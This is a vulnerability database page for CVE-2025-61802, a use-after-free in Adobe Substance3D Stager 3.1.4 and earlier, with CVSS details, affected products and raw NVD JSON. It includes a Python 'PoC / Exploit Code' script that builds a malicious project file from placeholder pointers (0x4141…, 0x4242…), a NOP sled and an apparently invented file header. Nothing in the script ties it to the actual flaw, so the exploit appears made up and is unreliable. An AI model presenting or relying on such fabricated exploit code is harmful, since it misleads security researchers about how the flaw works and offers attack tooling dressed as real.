Security Vulnerability Report
中文
CVE-2025-61802 CVSS 7.8 HIGH

CVE-2025-61802

Published: 2025-10-14 20:15:53
Last Modified: 2025-10-16 17:37:13

Description

Substance3D - Stager versions 3.1.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Substance3D Stager <= 3.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61802 - Adobe Substance3D Stager Use After Free PoC # This is a conceptual PoC demonstrating the vulnerability exploitation approach # Actual exploitation requires crafting a malicious Substance3D Stager project file import struct import os # Malicious Substance3D Stager project file generator # The vulnerability is triggered when parsing specific scene/object data structures class Substance3DStagerUAFExploit: """ PoC for CVE-2025-61802 - Use After Free in Adobe Substance3D Stager The vulnerability exists in the scene rendering engine when processing specific 3D object references in .sbsar or project files. Attack vector: Local file with user interaction """ def __init__(self, payload_cmd="calc.exe"): self.payload_cmd = payload_cmd self.magic_header = b"SBSC" # Substance3D container magic self.version = struct.pack("<I", 0x03010400) # Version 3.1.4 def build_malicious_header(self): """Build file header that triggers UAF during parsing""" header = bytearray() header += self.magic_header header += self.version # Chunk type for scene objects - triggers UAF header += struct.pack("<I", 0x0B0B0B0B) # Object reference count - designed to cause premature free header += struct.pack("<I", 0x00000001) return bytes(header) def build_uaf_trigger(self): """ Build the payload section that triggers the Use After Free. The key is creating an object reference that will be freed but still accessed during scene rendering. """ trigger = bytearray() # Object header - marks object for deferred rendering trigger += struct.pack("<I", 0xDEADBEEF) # Reference to object that will be freed prematurely trigger += struct.pack("<Q", 0x4141414141414141) # Fake vtable pointer for code execution hijack trigger += struct.pack("<Q", 0x4242424242424242) # Shellcode placeholder (would be replaced with actual shellcode) trigger += b"\x90" * 256 # NOP sled trigger += self.payload_cmd.encode() + b"\x00" return bytes(trigger) def generate_poc_file(self, output_path="exploit.sbsc"): """Generate the malicious project file""" poc_data = bytearray() poc_data += self.build_malicious_header() poc_data += self.build_uaf_trigger() # Add padding to reach realistic file size poc_data += b"\x00" * 4096 with open(output_path, "wb") as f: f.write(poc_data) print(f"[*] PoC file generated: {output_path}") print(f"[*] File size: {len(poc_data)} bytes") print(f"[*] Payload command: {self.payload_cmd}") print(f"[!] WARNING: This file will trigger CVE-2025-61802 when opened") print(f"[!] in Adobe Substance3D Stager <= 3.1.4") print(f"[!] Use only for authorized security testing.") if __name__ == "__main__": # Generate PoC - replace with actual shellcode for real exploitation exploit = Substance3DStagerUAFExploit(payload_cmd="whoami") exploit.generate_poc_file("CVE-2025-61802_poc.sbsc")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61802", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:52.773", "lastModified": "2025-10-16T17:37:13.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Stager versions 3.1.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.5", "matchCriteriaId": "AB3C6EBF-2CF4-413D-AC6B-AAF49BA08B2F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_stager/apsb25-104.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}